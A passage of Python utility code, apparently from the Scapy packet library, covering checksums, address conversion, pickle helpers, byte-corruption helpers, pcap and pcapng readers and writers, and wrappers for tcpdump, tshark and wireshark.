noqa: E501 (d[i - 1, j][0] + INSERT, (i - 1, j)), (d[i, j - 1][0] + INSERT, (i, j - 1))) backtrackx = [] backtracky = [] i = len(x) - 1 j = len(y) - 1 while not (i == j == -1): i2, j2 = d[i, j][1] backtrackx.append(x[i2 + 1:i + 1]) backtracky.append(y[j2 + 1:j + 1]) i, j = i2, j2 x = y = i = 0 colorize = {0: lambda x: x, -1: conf.color_theme.left, 1: conf.color_theme.right} dox = 1 doy = 0 btx_len = len(backtrackx) while i < btx_len: linex = backtrackx[i:i + 16] liney = backtracky[i:i + 16] xx = sum(len(k) for k in linex) yy = sum(len(k) for k in liney) if dox and not xx: dox = 0 doy = 1 if dox and linex == liney: doy = 1 if dox: xd = y j = 0 while not linex[j]: j += 1 xd -= 1 print(colorize[doy - dox]("%04x" % xd), end=' ') x += xx line = linex else: print(" ", end=' ') if doy: yd = y j = 0 while not liney[j]: j += 1 yd -= 1 print(colorize[doy - dox]("%04x" % yd), end=' ') y += yy line = liney else: print(" ", end=' ') print(" ", end=' ') cl = "" for j in range(16): if i + j < btx_len: if line[j]: col = colorize[(linex[j] != liney[j]) * (doy - dox)] print(col("%02X" % orb(line[j])), end=' ') if linex[j] == liney[j]: cl += sane_color(line[j]) else: cl += col(sane(line[j])) else: print(" ", end=' ') cl += " " else: print(" ", end=' ') if j == 7: print("", end=' ') print(" ", cl) if doy or not yy: doy = 0 dox = 1 i += 16 else: if yy: dox = 0 doy = 1 else: i += 16 if struct.pack("H", 1) == b"\x00\x01": # big endian checksum_endian_transform = lambda chk: chk else: checksum_endian_transform = lambda chk: ((chk >> 8) & 0xff) | chk << 8 def checksum(pkt): if len(pkt) % 2 == 1: pkt += b"\0" s = sum(array.array("H", pkt)) s = (s >> 16) + (s & 0xffff) s += s >> 16 s = ~s return checksum_endian_transform(s) & 0xffff def _fletcher16(charbuf): # This is based on the GPLed C implementation in Zebra # noqa: E501 c0 = c1 = 0 for char in charbuf: c0 += orb(char) c1 += c0 c0 %= 255 c1 %= 255 return (c0, c1) @conf.commands.register def fletcher16_checksum(binbuf): """Calculates Fletcher-16 checksum of the given buffer. Note: If the buffer contains the two checkbytes derived from the Fletcher-16 checksum # noqa: E501 the result of this function has to be 0. Otherwise the buffer has been corrupted. # noqa: E501 """ (c0, c1) = _fletcher16(binbuf) return (c1 << 8) | c0 @conf.commands.register def fletcher16_checkbytes(binbuf, offset): """Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string. Including the bytes into the buffer (at the position marked by offset) the # noqa: E501 global Fletcher-16 checksum of the buffer will be 0. Thus it is easy to verify # noqa: E501 the integrity of the buffer on the receiver side. For details on the algorithm, see RFC 2328 chapter 12.1.7 and RFC 905 Annex B. # noqa: E501 """ # This is based on the GPLed C implementation in Zebra # noqa: E501 if len(binbuf) < offset: raise Exception("Packet too short for checkbytes %d" % len(binbuf)) binbuf = binbuf[:offset] + b"\x00\x00" + binbuf[offset + 2:] (c0, c1) = _fletcher16(binbuf) x = ((len(binbuf) - offset - 1) * c0 - c1) % 255 if (x <= 0): x += 255 y = 510 - c0 - x if (y > 255): y -= 255 return chb(x) + chb(y) def mac2str(mac): return b"".join(chb(int(x, 16)) for x in plain_str(mac).split(':')) def valid_mac(mac): try: return len(mac2str(mac)) == 6 except ValueError: pass return False def str2mac(s): if isinstance(s, str): return ("%02x:" * 6)[:-1] % tuple(map(ord, s)) return ("%02x:" * 6)[:-1] % tuple(s) def randstring(length): """ Returns a random string of length (length >= 0) """ return b"".join(struct.pack('B', random.randint(0, 255)) for _ in range(length)) def zerofree_randstring(length): """ Returns a random string of length (length >= 0) without zero in it. """ return b"".join(struct.pack('B', random.randint(1, 255)) for _ in range(length)) def strxor(s1, s2): """ Returns the binary XOR of the 2 provided strings s1 and s2. s1 and s2 must be of same length. """ return b"".join(map(lambda x, y: chb(orb(x) ^ orb(y)), s1, s2)) def strand(s1, s2): """ Returns the binary AND of the 2 provided strings s1 and s2. s1 and s2 must be of same length. """ return b"".join(map(lambda x, y: chb(orb(x) & orb(y)), s1, s2)) # Workaround bug 643005 : https://sourceforge.net/tracker/?func=detail&atid=105470&aid=643005&group_id=5470 # noqa: E501 try: socket.inet_aton("255.255.255.255") except socket.error: def inet_aton(x): if x == "255.255.255.255": return b"\xff" * 4 else: return socket.inet_aton(x) else: inet_aton = socket.inet_aton inet_ntoa = socket.inet_ntoa def atol(x): try: ip = inet_aton(x) except socket.error: ip = inet_aton(socket.gethostbyname(x)) return struct.unpack("!I", ip)[0] def valid_ip(addr): try: addr = plain_str(addr) except UnicodeDecodeError: return False try: atol(addr) except (OSError, ValueError, socket.error): return False return True def valid_net(addr): try: addr = plain_str(addr) except UnicodeDecodeError: return False if '/' in addr: ip, mask = addr.split('/', 1) return valid_ip(ip) and mask.isdigit() and 0 <= int(mask) <= 32 return valid_ip(addr) def valid_ip6(addr): try: addr = plain_str(addr) except UnicodeDecodeError: return False try: inet_pton(socket.AF_INET6, addr) except socket.error: try: socket.getaddrinfo(addr, None, socket.AF_INET6)[0][4][0] except socket.error: return False return True def valid_net6(addr): try: addr = plain_str(addr) except UnicodeDecodeError: return False if '/' in addr: ip, mask = addr.split('/', 1) return valid_ip6(ip) and mask.isdigit() and 0 <= int(mask) <= 128 return valid_ip6(addr) if WINDOWS_XP: # That is a hell of compatibility :( def ltoa(x): return inet_ntoa(struct.pack("> x) & 0xffffffff class ContextManagerSubprocess(object): """ Context manager that eases checking for unknown command, without crashing. Example: >>> with ContextManagerSubprocess("tcpdump"): >>> subprocess.Popen(["tcpdump", "--version"]) ERROR: Could not execute tcpdump, is it installed? """ def __init__(self, prog, suppress=True): self.prog = prog self.suppress = suppress def __enter__(self): pass def __exit__(self, exc_type, exc_value, traceback): if exc_value is None: return # Errored if isinstance(exc_value, EnvironmentError): msg = "Could not execute %s, is it installed?" % self.prog else: msg = "%s: execution failed (%s)" % ( self.prog, exc_type.__class__.__name__ ) if not self.suppress: raise exc_type(msg) log_runtime.error(msg, exc_info=True) return True # Suppress the exception class ContextManagerCaptureOutput(object): """ Context manager that intercept the console's output. Example: >>> with ContextManagerCaptureOutput() as cmco: ... print("hey") ... assert cmco.get_output() == "hey" """ def __init__(self): self.result_export_object = "" try: import mock # noqa: F401 except Exception: raise ImportError("The mock module needs to be installed !") def __enter__(self): import mock def write(s, decorator=self): decorator.result_export_object += s mock_stdout = mock.Mock() mock_stdout.write = write self.bck_stdout = sys.stdout sys.stdout = mock_stdout return self def __exit__(self, *exc): sys.stdout = self.bck_stdout return False def get_output(self, eval_bytes=False): if self.result_export_object.startswith("b'") and eval_bytes: return plain_str(eval(self.result_export_object)) return self.result_export_object def do_graph(graph, prog=None, format=None, target=None, type=None, string=None, options=None): """Processes graph description using an external software. This method is used to convert a graphviz format to an image. :param graph: GraphViz graph description :param prog: which graphviz program to use :param format: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option :param string: if not None, simply return the graph string :param target: filename or redirect. Defaults pipe to Imagemagick's display program :param options: options to be passed to prog """ if format is None: format = "svg" if string: return graph if type is not None: warning("type is deprecated, and was renamed format") format = type if prog is None: prog = conf.prog.dot start_viewer = False if target is None: if WINDOWS: target = get_temp_file(autoext="." + format) start_viewer = True else: with ContextManagerSubprocess(conf.prog.display): target = subprocess.Popen([conf.prog.display], stdin=subprocess.PIPE).stdin if format is not None: format = "-T%s" % format if isinstance(target, str): if target.startswith('|'): target = subprocess.Popen(target[1:].lstrip(), shell=True, stdin=subprocess.PIPE).stdin elif target.startswith('>'): target = open(target[1:].lstrip(), "wb") else: target = open(os.path.abspath(target), "wb") proc = subprocess.Popen( "\"%s\" %s %s" % (prog, options or "", format or ""), shell=True, stdin=subprocess.PIPE, stdout=target, stderr=subprocess.PIPE ) _, stderr = proc.communicate(bytes_encode(graph)) if proc.returncode != 0: raise OSError( "GraphViz call failed (is it installed?):\n" + plain_str(stderr) ) try: target.close() except Exception: pass if start_viewer: # Workaround for file not found error: We wait until tempfile is written. # noqa: E501 waiting_start = time.time() while not os.path.exists(target.name): time.sleep(0.1) if time.time() - waiting_start > 3: warning("Temporary file '%s' could not be written. Graphic will not be displayed.", tempfile) # noqa: E501 break else: if conf.prog.display == conf.prog._default: os.startfile(target.name) else: with ContextManagerSubprocess(conf.prog.display): subprocess.Popen([conf.prog.display, target.name]) _TEX_TR = { "{": "{\\tt\\char123}", "}": "{\\tt\\char125}", "\\": "{\\tt\\char92}", "^": "\\^{}", "$": "\\$", "#": "\\#", "_": "\\_", "&": "\\&", "%": "\\%", "|": "{\\tt\\char124}", "~": "{\\tt\\char126}", "<": "{\\tt\\char60}", ">": "{\\tt\\char62}", } def tex_escape(x): s = "" for c in x: s += _TEX_TR.get(c, c) return s def colgen(*lstcol, **kargs): """Returns a generator that mixes provided quantities forever trans: a function to convert the three arguments into a color. lambda x,y,z:(x,y,z) by default""" # noqa: E501 if len(lstcol) < 2: lstcol *= 2 trans = kargs.get("trans", lambda x, y, z: (x, y, z)) while True: for i in range(len(lstcol)): for j in range(len(lstcol)): for k in range(len(lstcol)): if i != j or j != k or k != i: yield trans(lstcol[(i + j) % len(lstcol)], lstcol[(j + k) % len(lstcol)], lstcol[(k + i) % len(lstcol)]) # noqa: E501 def incremental_label(label="tag%05i", start=0): while True: yield label % start start += 1 def binrepr(val): return bin(val)[2:] def long_converter(s): return int(s.replace('\n', '').replace(' ', ''), 16) ######################### # Enum management # ######################### class EnumElement: _value = None def __init__(self, key, value): self._key = key self._value = value def __repr__(self): return "<%s %s[%r]>" % (self.__dict__.get("_name", self.__class__.__name__), self._key, self._value) # noqa: E501 def __getattr__(self, attr): return getattr(self._value, attr) def __str__(self): return self._key def __bytes__(self): return bytes_encode(self.__str__()) def __hash__(self): return self._value def __int__(self): return int(self._value) def __eq__(self, other): return self._value == int(other) def __neq__(self, other): return not self.__eq__(other) class Enum_metaclass(type): element_class = EnumElement def __new__(cls, name, bases, dct): rdict = {} for k, v in six.iteritems(dct): if isinstance(v, int): v = cls.element_class(k, v) dct[k] = v rdict[v] = k dct["__rdict__"] = rdict return super(Enum_metaclass, cls).__new__(cls, name, bases, dct) def __getitem__(self, attr): return self.__rdict__[attr] def __contains__(self, val): return val in self.__rdict__ def get(self, attr, val=None): return self.__rdict__.get(attr, val) def __repr__(self): return "<%s>" % self.__dict__.get("name", self.__name__) ################### # Object saving # ################### def export_object(obj): print(bytes_base64(gzip.zlib.compress(six.moves.cPickle.dumps(obj, 2), 9))) def import_object(obj=None): if obj is None: obj = sys.stdin.read() return six.moves.cPickle.loads(gzip.zlib.decompress(base64_bytes(obj.strip()))) # noqa: E501 def save_object(fname, obj): """Pickle a Python object""" fd = gzip.open(fname, "wb") six.moves.cPickle.dump(obj, fd) fd.close() def load_object(fname): """unpickle a Python object""" return six.moves.cPickle.load(gzip.open(fname, "rb")) @conf.commands.register def corrupt_bytes(s, p=0.01, n=None): """ Corrupt a given percentage (at least one byte) or number of bytes from a string """ s = array.array("B", bytes_encode(s)) s_len = len(s) if n is None: n = max(1, int(s_len * p)) for i in random.sample(range(s_len), n): s[i] = (s[i] + random.randint(1, 255)) % 256 return s.tostring() if six.PY2 else s.tobytes() @conf.commands.register def corrupt_bits(s, p=0.01, n=None): """ Flip a given percentage (at least one bit) or number of bits from a string """ s = array.array("B", bytes_encode(s)) s_len = len(s) * 8 if n is None: n = max(1, int(s_len * p)) for i in random.sample(range(s_len), n): s[i // 8] ^= 1 << (i % 8) return s.tostring() if six.PY2 else s.tobytes() ############################# # pcap capture file stuff # ############################# @conf.commands.register def wrpcap(filename, pkt, *args, **kargs): """Write a list of packets to a pcap file :param filename: the name of the file to write packets to, or an open, writable file-like object. The file descriptor will be closed at the end of the call, so do not use an object you do not want to close (e.g., running wrpcap(sys.stdout, []) in interactive mode will crash Scapy). :param gz: set to 1 to save a gzipped capture :param linktype: force linktype value :param endianness: "<" or ">", force endianness :param sync: do not bufferize writes to the capture file """ with PcapWriter(filename, *args, **kargs) as fdesc: fdesc.write(pkt) @conf.commands.register def rdpcap(filename, count=-1): """Read a pcap or pcapng file and return a packet list :param count: read only packets """ with PcapReader(filename) as fdesc: return fdesc.read_all(count=count) class PcapReader_metaclass(type): """Metaclass for (Raw)Pcap(Ng)Readers""" def __new__(cls, name, bases, dct): """The `alternative` class attribute is declared in the PcapNg variant, and set here to the Pcap variant. """ newcls = super(PcapReader_metaclass, cls).__new__(cls, name, bases, dct) # noqa: E501 if 'alternative' in dct: dct['alternative'].alternative = newcls return newcls def __call__(cls, filename): """Creates a cls instance, use the `alternative` if that fails. """ i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) filename, fdesc, magic = cls.open(filename) if not magic: raise Scapy_Exception( "No data could be read!" ) try: i.__init__(filename, fdesc, magic) except Scapy_Exception: if "alternative" in cls.__dict__: cls = cls.__dict__["alternative"] i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) try: i.__init__(filename, fdesc, magic) except Scapy_Exception: try: i.f.seek(-4, 1) except Exception: pass raise Scapy_Exception("Not a supported capture file") return i @staticmethod def open(filename): """Open (if necessary) filename, and read the magic.""" if isinstance(filename, six.string_types): try: fdesc = gzip.open(filename, "rb") magic = fdesc.read(4) except IOError: fdesc = open(filename, "rb") magic = fdesc.read(4) else: fdesc = filename filename = getattr(fdesc, "name", "No name") magic = fdesc.read(4) return filename, fdesc, magic class RawPcapReader(six.with_metaclass(PcapReader_metaclass)): """A stateful pcap reader. Each packet is returned as a string""" nonblocking_socket = True PacketMetadata = collections.namedtuple("PacketMetadata", ["sec", "usec", "wirelen", "caplen"]) # noqa: E501 def __init__(self, filename, fdesc, magic): self.filename = filename self.f = fdesc if magic == b"\xa1\xb2\xc3\xd4": # big endian self.endian = ">" self.nano = False elif magic == b"\xd4\xc3\xb2\xa1": # little endian self.endian = "<" self.nano = False elif magic == b"\xa1\xb2\x3c\x4d": # big endian, nanosecond-precision self.endian = ">" self.nano = True elif magic == b"\x4d\x3c\xb2\xa1": # little endian, nanosecond-precision # noqa: E501 self.endian = "<" self.nano = True else: raise Scapy_Exception( "Not a pcap capture file (bad magic: %r)" % magic ) hdr = self.f.read(20) if len(hdr) < 20: raise Scapy_Exception("Invalid pcap file (too short)") vermaj, vermin, tz, sig, snaplen, linktype = struct.unpack( self.endian + "HHIIII", hdr ) self.linktype = linktype self.snaplen = snaplen def __iter__(self): return self def next(self): """implement the iterator protocol on a set of packets in a pcap file pkt is a tuple (pkt_data, pkt_metadata) as defined in RawPcapReader.read_packet() """ try: return self.read_packet() except EOFError: raise StopIteration __next__ = next def read_packet(self, size=MTU): """return a single packet read from the file as a tuple containing (pkt_data, pkt_metadata) raise EOFError when no more packets are available """ hdr = self.f.read(16) if len(hdr) < 16: raise EOFError sec, usec, caplen, wirelen = struct.unpack(self.endian + "IIII", hdr) return (self.f.read(caplen)[:size], RawPcapReader.PacketMetadata(sec=sec, usec=usec, wirelen=wirelen, caplen=caplen)) def dispatch(self, callback): """call the specified callback routine for each packet read This is just a convenience function for the main loop that allows for easy launching of packet processing in a thread. """ for p in self: callback(p) def read_all(self, count=-1): """return a list of all packets in the pcap file """ res = [] while count != 0: count -= 1 try: p = self.read_packet() except EOFError: break res.append(p) return res def recv(self, size=MTU): """ Emulate a socket """ return self.read_packet(size=size)[0] def fileno(self): return self.f.fileno() def close(self): return self.f.close() def __enter__(self): return self def __exit__(self, exc_type, exc_value, tracback): self.close() # emulate SuperSocket @staticmethod def select(sockets, remain=None): return sockets, None class PcapReader(RawPcapReader): def __init__(self, filename, fdesc, magic): RawPcapReader.__init__(self, filename, fdesc, magic) try: self.LLcls = conf.l2types[self.linktype] except KeyError: warning("PcapReader: unknown LL type [%i]/[%#x]. Using Raw packets" % (self.linktype, self.linktype)) # noqa: E501 if conf.raw_layer is None: # conf.raw_layer is set on import import scapy.packet # noqa: F401 self.LLcls = conf.raw_layer def read_packet(self, size=MTU): rp = super(PcapReader, self).read_packet(size=size) if rp is None: raise EOFError s, pkt_info = rp try: p = self.LLcls(s) except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: from scapy.sendrecv import debug debug.crashed_on = (self.LLcls, s) raise if conf.raw_layer is None: # conf.raw_layer is set on import import scapy.packet # noqa: F401 p = conf.raw_layer(s) power = Decimal(10) ** Decimal(-9 if self.nano else -6) p.time = EDecimal(pkt_info.sec + power * pkt_info.usec) p.wirelen = pkt_info.wirelen return p def read_all(self, count=-1): res = RawPcapReader.read_all(self, count) from scapy import plist return plist.PacketList(res, name=os.path.basename(self.filename)) def recv(self, size=MTU): return self.read_packet(size=size) class RawPcapNgReader(RawPcapReader): """A stateful pcapng reader. Each packet is returned as bytes. """ alternative = RawPcapReader PacketMetadata = collections.namedtuple("PacketMetadata", ["linktype", "tsresol", "tshigh", "tslow", "wirelen"]) def __init__(self, filename, fdesc, magic): self.filename = filename self.f = fdesc # A list of (linktype, snaplen, tsresol); will be populated by IDBs. self.interfaces = [] self.default_options = { "tsresol": 1000000 } self.blocktypes = { 1: self.read_block_idb, 2: self.read_block_pkt, 3: self.read_block_spb, 6: self.read_block_epb, } if magic != b"\x0a\x0d\x0d\x0a": # PcapNg: raise Scapy_Exception( "Not a pcapng capture file (bad magic: %r)" % magic ) # see https://github.com/pcapng/pcapng blocklen, magic = self.f.read(4), self.f.read(4) # noqa: F841 if magic == b"\x1a\x2b\x3c\x4d": self.endian = ">" elif magic == b"\x4d\x3c\x2b\x1a": self.endian = "<" else: raise Scapy_Exception("Not a pcapng capture file (bad magic)") self.f.read(12) blocklen = struct.unpack("!I", blocklen)[0] # Read default options self.default_options = self.read_options( self.f.read(blocklen - 24) ) try: self.f.seek(0) except Exception: pass def read_packet(self, size=MTU): """Read blocks until it reaches either EOF or a packet, and returns None or (packet, (linktype, sec, usec, wirelen)), where packet is a string. """ while True: try: blocktype, blocklen = struct.unpack(self.endian + "2I", self.f.read(8)) except struct.error: raise EOFError block = self.f.read(blocklen - 12) if blocklen % 4: pad = self.f.read(4 - (blocklen % 4)) warning("PcapNg: bad blocklen %d (MUST be a multiple of 4. " "Ignored padding %r" % (blocklen, pad)) try: if (blocklen,) != struct.unpack(self.endian + 'I', self.f.read(4)): warning("PcapNg: Invalid pcapng block (bad blocklen)") raise EOFError except struct.error: raise EOFError res = self.blocktypes.get(blocktype, lambda block, size: None)(block, size) if res is not None: return res def read_options(self, options): """Section Header Block""" opts = self.default_options.copy() while len(options) >= 4: code, length = struct.unpack(self.endian + "HH", options[:4]) # PCAP Next Generation (pcapng) Capture File Format # 4.2. - Interface Description Block # http://xml2rfc.tools.ietf.org/cgi-bin/xml2rfc.cgi?url=https://raw.githubusercontent.com/pcapng/pcapng/master/draft-tuexen-opsawg-pcapng.xml&modeAsFormat=html/ascii&type=ascii#rfc.section.4.2 if code == 9 and length == 1 and len(options) >= 5: tsresol = orb(options[4]) opts["tsresol"] = (2 if tsresol & 128 else 10) ** ( tsresol & 127 ) if code == 0: if length != 0: warning("PcapNg: invalid option length %d for end-of-option" % length) # noqa: E501 break if length % 4: length += (4 - (length % 4)) options = options[4 + length:] return opts def read_block_idb(self, block, _): """Interface Description Block""" options = self.read_options(block[16:]) self.interfaces.append(struct.unpack(self.endian + "HxxI", block[:8]) + (options["tsresol"],)) def read_block_epb(self, block, size): """Enhanced Packet Block""" intid, tshigh, tslow, caplen, wirelen = struct.unpack( self.endian + "5I", block[:20], ) return (block[20:20 + caplen][:size], RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0], # noqa: E501 tsresol=self.interfaces[intid][2], # noqa: E501 tshigh=tshigh, tslow=tslow, wirelen=wirelen)) def read_block_spb(self, block, size): """Simple Packet Block""" # "it MUST be assumed that all the Simple Packet Blocks have # been captured on the interface previously specified in the # first Interface Description Block." intid = 0 wirelen, = struct.unpack(self.endian + "I", block[:4]) caplen = min(wirelen, self.interfaces[intid][1]) return (block[4:4 + caplen][:size], RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0], # noqa: E501 tsresol=self.interfaces[intid][2], # noqa: E501 tshigh=None, tslow=None, wirelen=wirelen)) def read_block_pkt(self, block, size): """(Obsolete) Packet Block""" intid, drops, tshigh, tslow, caplen, wirelen = struct.unpack( self.endian + "HH4I", block[:20], ) return (block[20:20 + caplen][:size], RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0], # noqa: E501 tsresol=self.interfaces[intid][2], # noqa: E501 tshigh=tshigh, tslow=tslow, wirelen=wirelen)) class PcapNgReader(RawPcapNgReader): alternative = PcapReader def __init__(self, filename, fdesc, magic): RawPcapNgReader.__init__(self, filename, fdesc, magic) def read_packet(self, size=MTU): rp = super(PcapNgReader, self).read_packet(size=size) if rp is None: raise EOFError s, (linktype, tsresol, tshigh, tslow, wirelen) = rp try: p = conf.l2types[linktype](s) except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: raise if conf.raw_layer is None: # conf.raw_layer is set on import import scapy.packet # noqa: F401 p = conf.raw_layer(s) if tshigh is not None: p.time = EDecimal((tshigh << 32) + tslow) / tsresol p.wirelen = wirelen return p def read_all(self, count=-1): res = RawPcapNgReader.read_all(self, count) from scapy import plist return plist.PacketList(res, name=os.path.basename(self.filename)) def recv(self, size=MTU): return self.read_packet() class RawPcapWriter: """A stream PCAP writer with more control than wrpcap()""" def __init__(self, filename, linktype=None, gz=False, endianness="", append=False, sync=False, nano=False, snaplen=MTU): """ :param filename: the name of the file to write packets to, or an open, writable file-like object. :param linktype: force linktype to a given value. If None, linktype is taken from the first writer packet :param gz: compress the capture on the fly :param endianness: force an endianness (little:"<", big:">"). Default is native :param append: append packets to the capture file instead of truncating it :param sync: do not bufferize writes to the capture file :param nano: use nanosecond-precision (requires libpcap >= 1.5.0) """ self.linktype = linktype self.snaplen = snaplen self.header_present = 0 self.append = append self.gz = gz self.endian = endianness self.sync = sync self.nano = nano bufsz = 4096 if sync: bufsz = 0 if isinstance(filename, six.string_types): self.filename = filename self.f = [open, gzip.open][gz](filename, append and "ab" or "wb", gz and 9 or bufsz) # noqa: E501 else: self.f = filename self.filename = getattr(filename, "name", "No name") def fileno(self): return self.f.fileno() def _write_header(self, pkt): self.header_present = 1 if self.append: # Even if prone to race conditions, this seems to be # safest way to tell whether the header is already present # because we have to handle compressed streams that # are not as flexible as basic files g = [open, gzip.open][self.gz](self.filename, "rb") if g.read(16): return self.f.write(struct.pack(self.endian + "IHHIIII", 0xa1b23c4d if self.nano else 0xa1b2c3d4, # noqa: E501 2, 4, 0, 0, self.snaplen, self.linktype)) self.f.flush() def write(self, pkt): """ Writes a Packet, a SndRcvList object, or bytes to a pcap file. :param pkt: Packet(s) to write (one record for each Packet), or raw bytes to write (as one record). :type pkt: iterable[scapy.packet.Packet], scapy.packet.Packet or bytes """ if isinstance(pkt, bytes): if not self.header_present: self._write_header(pkt) self._write_packet(pkt) else: # Import here to avoid a circular dependency from scapy.plist import SndRcvList if isinstance(pkt, SndRcvList): def _iter(pkt=pkt): for s, r in pkt: if s.sent_time: s.time = s.sent_time yield s yield r pkt = _iter() else: pkt = pkt.__iter__() for p in pkt: if not self.header_present: self._write_header(p) if self.linktype != conf.l2types.get(type(p), None): warning("Inconsistent linktypes detected!" " The resulting PCAP file might contain" " invalid packets." ) self._write_packet(p) def _write_packet(self, packet, sec=None, usec=None, caplen=None, wirelen=None): """ Writes a single packet to the pcap file. :param packet: bytes for a single packet :type packet: bytes :param sec: time the packet was captured, in seconds since epoch. If not supplied, defaults to now. :type sec: int or long :param usec: If ``nano=True``, then number of nanoseconds after the second that the packet was captured. If ``nano=False``, then the number of microseconds after the second the packet was captured :type usec: int or long :param caplen: The length of the packet in the capture file. If not specified, uses ``len(packet)``. :type caplen: int :param wirelen: The length of the packet on the wire. If not specified, uses ``caplen``. :type wirelen: int :return: None :rtype: None """ if caplen is None: caplen = len(packet) if wirelen is None: wirelen = caplen if sec is None or usec is None: t = time.time() it = int(t) if sec is None: sec = it usec = int(round((t - it) * (1000000000 if self.nano else 1000000))) elif usec is None: usec = 0 self.f.write(struct.pack(self.endian + "IIII", sec, usec, caplen, wirelen)) self.f.write(packet) if self.sync: self.f.flush() def flush(self): return self.f.flush() def close(self): if not self.header_present: self._write_header(None) return self.f.close() def __enter__(self): return self def __exit__(self, exc_type, exc_value, tracback): self.flush() self.close() class PcapWriter(RawPcapWriter): """A stream PCAP writer with more control than wrpcap()""" def _write_header(self, pkt): if self.linktype is None: try: self.linktype = conf.l2types[pkt.__class__] # Import here to prevent import loops from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 if OPENBSD and isinstance(pkt, (IP, IPv6)): self.linktype = 14 # DLT_RAW except KeyError: warning("PcapWriter: unknown LL type for %s. Using type 1 (Ethernet)", pkt.__class__.__name__) # noqa: E501 self.linktype = DLT_EN10MB RawPcapWriter._write_header(self, pkt) def _write_packet(self, packet, sec=None, usec=None, caplen=None, wirelen=None): """ Writes a single packet to the pcap file. :param packet: Packet, or bytes for a single packet :type packet: scapy.packet.Packet or bytes :param sec: time the packet was captured, in seconds since epoch. If not supplied, defaults to now. :type sec: int or long :param usec: If ``nano=True``, then number of nanoseconds after the second that the packet was captured. If ``nano=False``, then the number of microseconds after the second the packet was captured. If ``sec`` is not specified, this value is ignored. :type usec: int or long :param caplen: The length of the packet in the capture file. If not specified, uses ``len(raw(packet))``. :type caplen: int :param wirelen: The length of the packet on the wire. If not specified, tries ``packet.wirelen``, otherwise uses ``caplen``. :type wirelen: int :return: None :rtype: None """ if hasattr(packet, "time"): if sec is None: sec = int(packet.time) usec = int(round((packet.time - sec) * (1000000000 if self.nano else 1000000))) if usec is None: usec = 0 rawpkt = raw(packet) caplen = len(rawpkt) if caplen is None else caplen if wirelen is None: if hasattr(packet, "wirelen"): wirelen = packet.wirelen if wirelen is None: wirelen = caplen RawPcapWriter._write_packet( self, rawpkt, sec=sec, usec=usec, caplen=caplen, wirelen=wirelen) @conf.commands.register def import_hexcap(input_string=None): """Imports a tcpdump like hexadecimal view e.g: exported via hexdump() or tcpdump or wireshark's "export as hex" :param input_string: String containing the hexdump input to parse. If None, read from standard input. """ re_extract_hexcap = re.compile(r"^((0x)?[0-9a-fA-F]{2,}[ :\t]{,3}|) *(([0-9a-fA-F]{2} {,2}){,16})") # noqa: E501 p = "" try: if input_string: input_function = six.StringIO(input_string).readline else: input_function = input while True: line = input_function().strip() if not line: break try: p += re_extract_hexcap.match(line).groups()[2] except Exception: warning("Parsing error during hexcap") continue except EOFError: pass p = p.replace(" ", "") return hex_bytes(p) @conf.commands.register def wireshark(pktlist, wait=False, **kwargs): """ Runs Wireshark on a list of packets. See :func:`tcpdump` for more parameter description. Note: this defaults to wait=False, to run Wireshark in the background. """ return tcpdump(pktlist, prog=conf.prog.wireshark, wait=wait, **kwargs) @conf.commands.register def tdecode(pktlist, args=None, **kwargs): """ Run tshark on a list of packets. :param args: If not specified, defaults to ``tshark -V``. See :func:`tcpdump` for more parameters. """ if args is None: args = ["-V"] return tcpdump(pktlist, prog=conf.prog.tshark, args=args, **kwargs) def _guess_linktype_name(value): """Guess the DLT name from its value.""" import scapy.data return next( k[4:] for k, v in six.iteritems(scapy.data.__dict__) if k.startswith("DLT") and v == value ) def _guess_linktype_value(name): """Guess the value of a DLT name.""" import scapy.data if not name.startswith("DLT_"): name = "DLT_" + name return scapy.data.__dict__[name] @conf.commands.register def tcpdump(pktlist=None, dump=False, getfd=False, args=None, flt=None, prog=None, getproc=False, quiet=False, use_tempfile=None, read_stdin_opts=None, linktype=None, wait=True, _suppress=False): """Run tcpdump or tshark on a list of packets. When using ``tcpdump`` on OSX (``prog == conf.prog.tcpdump``), this uses a temporary file to store the packets. This works around a bug in Apple's version of ``tcpdump``: http://apple.stackexchange.com/questions/152682/ Otherwise, the packets are passed in stdin. This function can be explicitly enabled or disabled with the ``use_tempfile`` parameter. When using ``wireshark``, it will be called with ``-ki -`` to start immediately capturing packets from stdin. Otherwise, the command will be run with ``-r -`` (which is correct for ``tcpdump`` and ``tshark``). This can be overridden with ``read_stdin_opts``. This has no effect when ``use_tempfile=True``, or otherwise reading packets from a regular file. :param pktlist: a Packet instance, a PacketList instance or a list of Packet instances. Can also be a filename (as a string), an open file-like object that must be a file format readable by tshark (Pcap, PcapNg, etc.) or None (to sniff) :param flt: a filter to use with tcpdump :param dump: when set to True, returns a string instead of displaying it. :param getfd: when set to True, returns a file-like object to read data from tcpdump or tshark from. :param getproc: when set to True, the subprocess.Popen object is returned :param args: arguments (as a list) to pass to tshark (example for tshark: args=["-T", "json"]). :param prog: program to use (defaults to tcpdump, will work with tshark) :param quiet: when set to True, the process stderr is discarded :param use_tempfile: When set to True, always use a temporary file to store packets. When set to False, pipe packets through stdin. When set to None (default), only use a temporary file with ``tcpdump`` on OSX. :param read_stdin_opts: When set, a list of arguments needed to capture from stdin. Otherwise, attempts to guess. :param linktype: A custom DLT value or name, to overwrite the default values. :param wait: If True (default), waits for the process to terminate before returning to Scapy. If False, the process will be detached to the background. If dump, getproc or getfd is True, these have the same effect as ``wait=False``. Examples:: >>> tcpdump([IP()/TCP(), IP()/UDP()]) reading from file -, link-type RAW (Raw IP) 16:46:00.474515 IP 127.0.0.1.20 > 127.0.0.1.80: Flags [S], seq 0, win 8192, length 0 # noqa: E501 16:46:00.475019 IP 127.0.0.1.53 > 127.0.0.1.53: [|domain] >>> tcpdump([IP()/TCP(), IP()/UDP()], prog=conf.prog.tshark) 1 0.000000 127.0.0.1 -> 127.0.0.1 TCP 40 20->80 [SYN] Seq=0 Win=8192 Len=0 # noqa: E501 2 0.000459 127.0.0.1 -> 127.0.0.1 UDP 28 53->53 Len=0 To get a JSON representation of a tshark-parsed PacketList(), one can:: >>> import json, pprint >>> json_data = 